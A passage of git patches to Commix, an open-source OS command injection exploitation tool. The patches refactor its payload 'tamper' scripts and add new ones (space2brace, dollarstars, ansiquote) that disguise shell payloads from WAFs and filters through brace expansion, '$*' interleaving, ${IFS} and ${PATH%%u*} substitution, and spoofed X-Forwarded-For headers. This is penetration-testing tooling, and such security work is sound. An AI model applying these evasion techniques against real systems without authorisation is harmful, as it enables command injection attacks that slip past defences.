= source.replace(settings.USER_APPLIED_CMD, random_case_cmd) diff --git a/src/tamper/singlequotes.py b/src/tamper/singlequotes.py index a472991471..e40e0cb77c 100644 --- a/src/tamper/singlequotes.py +++ b/src/tamper/singlequotes.py @@ -28,8 +28,9 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) +obf_char = "''" + if not settings.TAMPER_SCRIPTS[__tamper__]: - obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True # Put empty single quotes between the characters, which the shell drops. diff --git a/src/tamper/slash2env.py b/src/tamper/slash2env.py index 0888a511a7..38bec59cbf 100644 --- a/src/tamper/slash2env.py +++ b/src/tamper/slash2env.py @@ -34,13 +34,10 @@ def dependencies(): # Say with an environment variable what the payload said with a slash. def tamper(payload): - # The substitution itself, over the slashes outside quoted words. - def add_slash2env(payload): - payload = payload.replace("/", "${PATH%%u*}") - return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - return add_slash2env(payload) - else: + if settings.TARGET_OS == settings.OS.WINDOWS: return payload + # Outside single quotes only: the shell leaves a quoted "${PATH%%u*}" as those literal + # characters rather than expanding it, so a slash replaced in there stops being a slash. + return checks.tamper_outside_single_quotes(payload, lambda part: part.replace("/", "${PATH%%u*}")) # eof diff --git a/src/tamper/sleep2timeout.py b/src/tamper/sleep2timeout.py index 42d691adce..240cc94b76 100644 --- a/src/tamper/sleep2timeout.py +++ b/src/tamper/sleep2timeout.py @@ -38,15 +38,15 @@ def dependencies(): def tamper(payload): # The rewrite itself, keeping the delay the payload asked for. def sleep_to_timeout_ping(payload): + whitespace = checks.current_whitespace() if settings.TARGET_OS != settings.OS.WINDOWS: - whitespace = settings.WHITESPACES[0] payload = re.sub(r"sleep" + re.escape(whitespace) + r"(\$\(\(\d+\*\([^()]*\)\)\))", lambda x: "timeout" + whitespace + x.group(1) + ".01" + whitespace + "ping" + whitespace + "localhost", payload) for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): - payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) - payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") + payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE, whitespace)) + payload = payload.replace("timeout" + whitespace + "0" + whitespace + "ping" + whitespace + "localhost", "timeout" + whitespace + "0") else: - payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") + payload = payload.replace("powershell.exe" + whitespace + "-InputFormat" + whitespace + "none" + whitespace + "Start-Sleep" + whitespace + "-s", "timeout") return payload if not settings.TIME_RELATED_ATTACK: return payload diff --git a/src/tamper/sleep2usleep.py b/src/tamper/sleep2usleep.py index c0594a0ef0..58b714095e 100644 --- a/src/tamper/sleep2usleep.py +++ b/src/tamper/sleep2usleep.py @@ -37,17 +37,16 @@ def dependencies(): def tamper(payload): # The rewrite itself, the delay restated in microseconds. def sleep_to_usleep(payload): - whitespace = settings.WHITESPACES[0] + whitespace = checks.current_whitespace() # Arithmetic-gated delay ("sleep $((5*(cond)))") - scale its leading factor to microseconds. payload = re.sub(r"sleep" + re.escape(whitespace) + r"\$\(\((\d+)\*", lambda x: "usleep" + whitespace + "$((" + x.group(1) + "000000*", payload) + # A plain delay, taken from the match itself rather than split back out of it. for match in re.finditer(r"sleep" + re.escape(whitespace) + r"([1-9]\d+|[0-9])", payload): - sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] - if match.group(0).split(settings.WHITESPACES[0])[1] != "0": - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 - else: - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] - payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) + seconds = match.group(1) + # Seconds become microseconds, except a zero, which has nothing to scale. + delay = seconds + "0" * 6 if seconds != "0" else seconds + payload = payload.replace(match.group(0), "usleep" + whitespace + delay) return payload if settings.TARGET_OS != settings.OS.WINDOWS and settings.TIME_RELATED_ATTACK: return sleep_to_usleep(payload) diff --git a/src/tamper/space2htab.py b/src/tamper/space2htab.py index 3eb515ef6e..239d5efe29 100644 --- a/src/tamper/space2htab.py +++ b/src/tamper/space2htab.py @@ -14,7 +14,6 @@ """ from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character (%20) with horizontal tab (%09) in a given payload. diff --git a/src/tamper/space2ifs.py b/src/tamper/space2ifs.py index 4a89273bfc..d808b0a865 100644 --- a/src/tamper/space2ifs.py +++ b/src/tamper/space2ifs.py @@ -14,7 +14,6 @@ """ from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib from src.core.controller import checks """ @@ -38,16 +37,23 @@ def dependencies(): # Separate the payload's words with '${IFS}' instead of a space. def tamper(payload): if len(settings.WHITESPACES) != 0: - if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: + # Three states, not two: the technique is None until it has run, and that counts as not + # having been refused - so this asks whether it failed, rather than whether it succeeded. + if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE is not False: settings.WHITESPACES[0] = space2ifs if settings.TARGET_OS != settings.OS.WINDOWS: if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: settings.WHITESPACES.append(space2ifs) + # A target settled as Windows after this script was accepted: '${IFS}' means nothing to + # cmd.exe, and taking back the only entry would leave the payload's words with nothing at all + # between them - so the plain space it was built with goes back in its place. else: if space2ifs in settings.WHITESPACES: settings.WHITESPACES.remove(space2ifs) + if len(settings.WHITESPACES) == 0: + settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) return payload # eof diff --git a/src/tamper/space2plus.py b/src/tamper/space2plus.py index efe41147c7..ae19de8241 100644 --- a/src/tamper/space2plus.py +++ b/src/tamper/space2plus.py @@ -36,7 +36,8 @@ def tamper(payload): elif space2plus not in settings.WHITESPACES: settings.WHITESPACES.append(space2plus) - else: + # Said only where it is true: an empty list is another reason to do nothing, and not this one. + elif settings.IS_JSON: warn_msg = "The tamper script '" + __tamper__ + "' is ineffective for JSON payloads. " warn_msg += "Skipping tamper script." settings.print_once(warn_msg) diff --git a/src/tamper/space2vtab.py b/src/tamper/space2vtab.py index b32a018c11..1e965d438b 100644 --- a/src/tamper/space2vtab.py +++ b/src/tamper/space2vtab.py @@ -14,7 +14,6 @@ """ from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib from src.core.controller import checks """ @@ -41,9 +40,13 @@ def tamper(payload): settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: settings.WHITESPACES.append(space2vtab) + # The mirror of the above: a target settled as POSIX after this script was accepted, where + # taking back the only entry would leave nothing separating the payload's words. else: if space2vtab in settings.WHITESPACES: settings.WHITESPACES.remove(space2vtab) + if len(settings.WHITESPACES) == 0: + settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) return payload # eof diff --git a/src/tamper/uninitializedvariable.py b/src/tamper/uninitializedvariable.py index a1962b99d6..aa57aef853 100644 --- a/src/tamper/uninitializedvariable.py +++ b/src/tamper/uninitializedvariable.py @@ -32,9 +32,10 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) +# The variable is named once for the whole run, so every payload carries the same one. +obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for _ in range(2)) + "}" + if not settings.TAMPER_SCRIPTS[__tamper__]: - num = 2 - obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for _ in range(num)) + "}" settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/tamper/xforwardedfor.py b/src/tamper/xforwardedfor.py index 0b105d4445..8ed4de19fb 100644 --- a/src/tamper/xforwardedfor.py +++ b/src/tamper/xforwardedfor.py @@ -22,6 +22,13 @@ """ __tamper__ = "xforwardedfor" +__priority__ = settings.PRIORITY.NORMAL + +# An address the target would read as coming from inside its own network says the opposite of what +# this header is for, so an octet that begins one of those ranges is drawn again. +PRIVATE_FIRST_OCTETS = (10, 172, 192) +# The octets are sampled below this, which keeps them off the broadcast address as well as zero. +LAST_OCTET_VALUE = 255 if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -31,9 +38,9 @@ def tamper(request): # An address from one of the ranges a proxy is believed for. def randomIP(): numbers = [] - while not numbers or numbers[0] in (10, 172, 192): - numbers = random.sample(xrange(1, 255), 4) - return '.'.join(str(_) for _ in numbers) + while not numbers or numbers[0] in PRIVATE_FIRST_OCTETS: + numbers = random.sample(xrange(1, LAST_OCTET_VALUE), 4) + return '.'.join(str(number) for number in numbers) request.add_header('X-Forwarded-For', randomIP()) request.add_header('X-Client-Ip', randomIP()) request.add_header('X-Real-Ip', randomIP()) @@ -42,7 +49,7 @@ def randomIP(): # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection request.add_header('Via', '1.1 Chrome-Compression-Proxy') # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 - request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) + request.add_header('CF-IPCountry', random.choice(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'))) # eof diff --git a/src/utils/common.py b/src/utils/common.py index 7cae5353a9..0ab6b83b55 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -149,14 +149,14 @@ def extract_regex_result(regex, content): def running_as_admin(): is_admin = False if settings.PLATFORM in ("posix", "mac"): - _ = os.geteuid() - if isinstance(_, (float, six.integer_types)) and _ == 0: + euid = os.geteuid() + if isinstance(euid, (float, six.integer_types)) and euid == 0: is_admin = True elif settings.IS_WINDOWS: import ctypes - _ = ctypes.windll.shell32.IsUserAnAdmin() - if isinstance(_, (float, six.integer_types)) and _ == 1: + elevated = ctypes.windll.shell32.IsUserAnAdmin() + if isinstance(elevated, (float, six.integer_types)) and elevated == 1: is_admin = True else: err_msg = settings.APPLICATION + " is not able to check if you are running it " @@ -189,7 +189,7 @@ def show_http_error_codes(): counted[str(code)] = counted.get(str(code), 0) + 1 described = [] # Most frequent first, so the one that shaped the run is read first. - for code in sorted(counted, key=lambda _: (-counted[_], _)): + for code in sorted(counted, key=lambda item: (-counted[item], item)): reason = _http_client.responses.get(int(code)) if code.isdigit() else None times = counted[code] described.append(code + (" (" + reason + ")" if reason else "") + @@ -232,16 +232,16 @@ def print_report_issue(url, prepared): def create_github_issue(err_msg, exc_msg): # Normalize exception message to generate a stable fingerprint - _ = re.sub(r"'[^']+'", "''", exc_msg) - _ = re.sub(r"\s+line \d+", "", _) - _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) - _ = re.sub(r".+\Z", "", _) - _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) - _ = re.sub(r"= _", "= ", _) - _ = _.encode(settings.DEFAULT_CODEC) + fingerprint = re.sub(r"'[^']+'", "''", exc_msg) + fingerprint = re.sub(r"\s+line \d+", "", fingerprint) + fingerprint = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", fingerprint) + fingerprint = re.sub(r".+\Z", "", fingerprint) + fingerprint = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", fingerprint) + fingerprint = re.sub(r"= _", "= ", fingerprint) + fingerprint = fingerprint.encode(settings.DEFAULT_CODEC) # Generate short hash used as issue identifier - key = hashlib.md5(_).hexdigest()[:8] + key = hashlib.md5(fingerprint).hexdigest()[:8] # Build GitHub issue title using the last non-empty exception line bug_report = ( @@ -288,10 +288,10 @@ def create_github_issue(err_msg, exc_msg): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT, context=settings.verified_context()) content = response.read() response.close() - _ = json.loads(content) + results = json.loads(content) - duplicate = _["total_count"] > 0 - closed = duplicate and _["items"][0]["state"] == "closed" + duplicate = results["total_count"] > 0 + closed = duplicate and results["items"][0]["state"] == "closed" if duplicate: info_msg = "That issue seems to be already reported" diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e02d53c0cc..a9f8a37915 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -126,7 +126,7 @@ def store_crawling(output_href): else: common.invalid_option(message) pass - except: + except Exception: pass """ @@ -163,7 +163,7 @@ def sitemap(url, http_request_method): pass no_usable_links(sitemap_loc) return sitemap_loc - except: + except Exception: if not menu.options.crawldepth: raise SystemExit() pass @@ -346,9 +346,9 @@ def do_process(url, http_request_method): def crawler(url, url_num, crawling_list, http_request_method): init_global_vars() if crawling_list > 1: - _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" + counter = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: - _ = "" + counter = "" response = request(url, http_request_method) if type(response) is not bool and response is not None: if settings.SITEMAP_CHECK: @@ -358,7 +358,7 @@ def crawler(url, url_num, crawling_list, http_request_method): if settings.SITEMAP_CHECK: output_href = sitemap(url, http_request_method) if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): - info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." + info_msg = "Starting crawler for target URL '" + url + "'" + counter + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) output_href = do_process(url, http_request_method) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: diff --git a/src/utils/logs.py b/src/utils/logs.py index cbcc42a889..08fae59c30 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -122,7 +122,7 @@ def create_log_file(url, output_dir): except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except: + except IndexError: error_msg = str(err_msg.args[0]) + "." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() @@ -152,7 +152,7 @@ def add_line(filename, text, group=""): output_file.write(settings.END_LINE.LF) settings.LAST_LOG_GROUP = group output_file.write(text + settings.END_LINE.LF) - except: + except OSError: pass """ @@ -249,7 +249,7 @@ def log_traffic(header): try: with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: output_file.write(header) - except: + except OSError: pass """ @@ -292,7 +292,7 @@ def print_logs_notification(filename, url): checks.save_cmd_history() add_footer(filename) write_report() - if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: + if settings.SHOW_LOGS_MSG is True and not menu.options.no_logging: if not settings.LOAD_SESSION: logs_notification(filename) # Also where the line above is not printed at all ('--no-logging'), so the suggestion is not lost. diff --git a/src/utils/purge.py b/src/utils/purge.py index 707e2aea00..b163bbe220 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -38,7 +38,7 @@ def _purge_stage(debug_msg, paths, action): for path in paths: try: action(path) - except: + except OSError: failed = True return failed diff --git a/src/utils/settings.py b/src/utils/settings.py index 3dd036838e..dad52f1a66 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "131" +REVISION = "132" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index b2c8ebaa36..1529e8f139 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -158,7 +158,7 @@ def check_for_update(): pass except KeyboardInterrupt: raise - except: + except Exception: pass # eof From d952f462147066406669fbf35a5b390716f09548 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 15 Sep 2026 17:20:25 +0300 Subject: [PATCH 0792/1023] Added new tamper scripts to obfuscate payloads by replacing spaces with brace expansion `({a,b})` and inserting `$*` between characters --- doc/CHANGELOG.md | 2 + src/tamper/dollarstars.py | 46 +++++++++++ src/tamper/space2brace.py | 165 ++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 9 ++- 4 files changed, 221 insertions(+), 1 deletion(-) create mode 100644 src/tamper/dollarstars.py create mode 100644 src/tamper/space2brace.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a99259f9aa..125829863a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. +* Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk ($*) between the characters in a given payload. * Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. * Added: Code injection support for Python as well as PHP, across all techniques. * Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. diff --git a/src/tamper/dollarstars.py b/src/tamper/dollarstars.py new file mode 100644 index 0000000000..d1f87358bc --- /dev/null +++ b/src/tamper/dollarstars.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Adds dollar sign followed by an asterisk ($*) between the characters in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell. +""" + +__tamper__ = "dollarstars" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +""" +The other spelling of the same emptiness. + +A shell with no positional parameters expands '$*' to nothing, exactly as it does '$@' - so this +says what 'dollaratsigns' says in the character a filter written against that one may not carry. +""" +obf_char = "$*" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Put an empty '$*' between the characters, which the shell expands to nothing. +def tamper(payload): + return checks.interleave_char_tamper(payload, obf_char) + +# eof diff --git a/src/tamper/space2brace.py b/src/tamper/space2brace.py new file mode 100644 index 0000000000..e35c2cd0fd --- /dev/null +++ b/src/tamper/space2brace.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. +Notes: This tamper script works against target(s) whose shell expands '{a,b}' where a command is + expected (e.g. 'bash', 'ksh'), which leaves the payload's commands with no whitespace. +References: [1] https://www.themiddleblue.com/2018/06/12/bypass-waf-using-brace-expansion/ +""" + +__tamper__ = "space2brace" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# What a word may be made of and still come back out of the expansion as the word that went in. +BRACE_SAFE_WORD = r"^[A-Za-z0-9_.:=@%+~^/*?\[\]$(){}!,\x00-]+$" + +""" +A run of words the shell would read as one command, and where such a run may begin and end. + +Only a command is rewritten, never an argument list of the payload's own making: braces expand +wherever they are written, but only in command position does the result get read back as a command +and its arguments. A redirection ends the run rather than joining it - '> /tmp/x' is the shell's +own syntax and would come back out of the expansion as two arguments to the command. The space in +front of one goes all the same, since a single space left behind is all a filter needs: closing it +up is safe here and nowhere else, because what now ends the command is the '}' of a brace list, +where a digit would have turned '1 >file' into a redirection of the first file descriptor. + +Where the payload itself begins is command position only inside a substitution. At the top level +that is the parameter's own value, still carrying whatever the target expects there, and a run +started on it would take that value into the command name. +""" +BRACE_RUN = r"(?P<lead>%s[ ]*)(?P<run>[^\s;&|`\n<>]+(?:[ ][^\s;&|`\n<>]+)+)(?P<gap>[ ]*)(?=$|[;&|`\n<>])" +BRACE_RUN_LEAD = r"[;&|`\n]" +BRACE_RUN_LEAD_NESTED = r"(?:^|[;&|`\n])" + +# Spans the transformation must not reach into, held aside by index while the payload is rewritten. +OPAQUE_SPAN = "\x00%d\x00" +OPAQUE_SPAN_REGEX = r"\x00(\d+)\x00" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _brace_run(match): + """ + One command written as a brace expansion, or left as it was where it cannot be. + + The shell splits '{a,b,c}' on the commas and on nothing else, so every word has to already be + one word, and a single word would not expand at all. A shell keyword is left alone for the + reason 'IGNORE_TAMPER_TRANSFORMATION' exists: 'for' stops being 'for' once it is quoted into a + brace list, and the payload loses the loop it was built around. + """ + words = match.group("run").split(settings.SINGLE_WHITESPACE) + if len(words) < 2 or not all(re.match(BRACE_SAFE_WORD, word) for word in words): + return match.group(0) + if any(word in settings.IGNORE_TAMPER_TRANSFORMATION for word in words): + return match.group(0) + return match.group("lead") + "{" + ",".join(words) + "}" + +def _brace_commands(payload, nested=False, runs=True): + """ + Every command in the payload written as a brace expansion, innermost first. + + A quoted span is held aside because the shell gives what is inside it no meaning, and a command + substitution because it is a payload of its own - rewritten by the same rules, then held aside + as one word so the command around it can be rewritten in turn. + + Arithmetic and a parameter expansion are held aside for a third reason: they carry no command, + but they do carry the very characters this reads as punctuation. A '<' of an arithmetic + comparison would end a run halfway through, and the '}' closing '${#VAR}' would close a brace + list that was never opened there. + """ + parts, held, index = [], [], 0 + while index < len(payload): + if payload.startswith("$((", index): + depth, end = 0, index + 1 + while end < len(payload): + if payload[end] == "(": + depth += 1 + elif payload[end] == ")": + depth -= 1 + if depth == 0: + break + end += 1 + parts.append(OPAQUE_SPAN % len(held)) + held.append(payload[index:end + 1]) + index = end + 1 + elif payload.startswith("${", index): + # Counted rather than searched for: one expansion nests inside another in the payloads that + # take a string apart a character at a time, and the first '}' there closes the inner one. + depth, end = 0, index + 1 + while end < len(payload): + if payload[end] == "{": + depth += 1 + elif payload[end] == "}": + depth -= 1 + if depth == 0: + break + end += 1 + end = min(end, len(payload) - 1) + parts.append(OPAQUE_SPAN % len(held)) + held.append(payload[index:end + 1]) + index = end + 1 + elif payload.startswith("$(", index): + depth, end = 1, index + 2 + while end < len(payload) and depth: + if payload[end] == "(": + depth += 1 + elif payload[end] == ")": + depth -= 1 + end += 1 + parts.append(OPAQUE_SPAN % len(held)) + held.append("$(" + _brace_commands(payload[index + 2:end - 1], nested=True) + ")") + index = end + elif payload[index] in ("`", "'", "\""): + quote = payload[index] + end = payload.find(quote, index + 1) + end = len(payload) if end == -1 else end + inner = payload[index + 1:end] + # Double quotes do not stop a substitution being a command of its own, so the search goes on + # inside them - but only into the substitutions, since a brace list written directly in + # double quotes is read as the literal it looks like. Single quotes stop everything. + if quote == "`": + inner = _brace_commands(inner, nested=True) + elif quote == "\"": + inner = _brace_commands(inner, nested=True, runs=False) + parts.append(OPAQUE_SPAN % len(held)) + held.append(quote + inner + quote) + index = end + 1 + else: + parts.append(payload[index]) + index += 1 + braced = "".join(parts) + if runs: + lead = BRACE_RUN_LEAD_NESTED if nested else BRACE_RUN_LEAD + braced = re.sub(BRACE_RUN % lead, _brace_run, braced) + return re.sub(OPAQUE_SPAN_REGEX, lambda x: held[int(x.group(1))], braced) + +# Hand each command over as a brace expansion, for the target's shell to split back on the commas. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no brace expansion. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return _brace_commands(payload) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index dad52f1a66..c4b339f05a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "132" +REVISION = "133" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1474,6 +1474,7 @@ class AUTH_TYPE(object): "space2plus": False, "space2htab": False, "space2vtab": False, + "space2brace": False, "doublequotes": False, "singlequotes": False, "caret": False, @@ -1484,6 +1485,7 @@ class AUTH_TYPE(object): "sleep2timeout": False, "xforwardedfor": False, "dollaratsigns": False, + "dollarstars": False, "printf2echo": False, "uninitializedvariable": False, "slash2env": False, @@ -1539,6 +1541,11 @@ class PRIORITY(object): ("backslashes", "uninitializedvariable"), # "$@" lands inside "${XX}", corrupting the variable name. ("dollaratsigns", "uninitializedvariable"), + # "$*" is the same emptiness said differently, so it breaks in the same places. + ("backslashes", "dollarstars"), + ("dollarstars", "uninitializedvariable"), + # Both interleave the same characters, so together they say everything twice. + ("dollaratsigns", "dollarstars"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes") ] From fdad860c77be3911b3f7f595ec92ec082bca107b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 15 Sep 2026 17:26:52 +0300 Subject: [PATCH 0793/1023] Added new tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 70 ++++++++++++++++++++++++++++ src/tamper/ansiquote.py | 77 +++++++++++++++++++++++++++++++ src/tamper/space2brace.py | 87 ++--------------------------------- src/utils/settings.py | 10 +++- 5 files changed, 161 insertions(+), 84 deletions(-) create mode 100644 src/tamper/ansiquote.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 125829863a..87b2c02387 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex. * Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. * Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk ($*) between the characters in a given payload. * Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 8afc17241a..448810beb2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2260,6 +2260,76 @@ def interleave_char_tamper(payload, obf_char): payload = tamper_outside_single_quotes(payload, lambda part: re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], part)) return tamper_restore_ignored_words(payload, obf_char) +# Spans a shell-span transformation must not reach into, held aside while the payload is rewritten. +SHELL_SPAN_HELD = "\x00%d\x00" +SHELL_SPAN_HELD_REGEX = r"\x00(\d+)\x00" + +def tamper_shell_spans(payload, transform, nested=False, literal=False): + """ + Hand each span of the payload that the shell reads as code to "transform", innermost first. + + A script rewriting shell syntax has to know which parts of a payload are shell syntax. Single + quotes suppress everything inside them; double quotes suppress all but a substitution, which is + a payload of its own and is walked by the same rules before being held aside as one word. + Arithmetic and parameter expansions are held aside whole - they carry no command, but they do + carry the brackets and comparisons a transformation is apt to mistake for punctuation of its own. + + "transform" is called as transform(text, nested), where "nested" says whether the start of the + text is a command position - true inside a substitution, false at the top level, where what + comes first is the parameter's own value rather than a command. + """ + parts, held, index = [], [], 0 + while index < len(payload): + if payload.startswith("$((", index) or payload.startswith("${", index): + opening, closing = ("(", ")") if payload[index + 1] == "(" else ("{", "}") + # Counted rather than searched for: one expansion nests inside another in the payloads that + # take a string apart a character at a time, and the first close there ends the inner one. + depth, end = 0, index + 1 + while end < len(payload): + if payload[end] == opening: + depth += 1 + elif payload[end] == closing: + depth -= 1 + if depth == 0: + break + end += 1 + end = min(end, len(payload) - 1) + parts.append(SHELL_SPAN_HELD % len(held)) + held.append(payload[index:end + 1]) + index = end + 1 + elif payload.startswith("$(", index): + depth, end = 1, index + 2 + while end < len(payload) and depth: + if payload[end] == "(": + depth += 1 + elif payload[end] == ")": + depth -= 1 + end += 1 + parts.append(SHELL_SPAN_HELD % len(held)) + held.append("$(" + tamper_shell_spans(payload[index + 2:end - 1], transform, nested=True) + ")") + index = end + elif payload[index] in ("`", "'", "\""): + quote = payload[index] + end = payload.find(quote, index + 1) + end = len(payload) if end == -1 else end + inner = payload[index + 1:end] + # Double quotes do not stop a substitution being code of its own, so the walk goes on inside + # them - but the text around it is a literal, and is left to itself. Single quotes stop both. + if quote == "`": + inner = tamper_shell_spans(inner, transform, nested=True) + elif quote == "\"": + inner = tamper_shell_spans(inner, transform, nested=True, literal=True) + parts.append(SHELL_SPAN_HELD % len(held)) + held.append(quote + inner + quote) + index = end + 1 + else: + parts.append(payload[index]) + index += 1 + walked = "".join(parts) + if not literal: + walked = transform(walked, nested) + return re.sub(SHELL_SPAN_HELD_REGEX, lambda x: held[int(x.group(1))], walked) 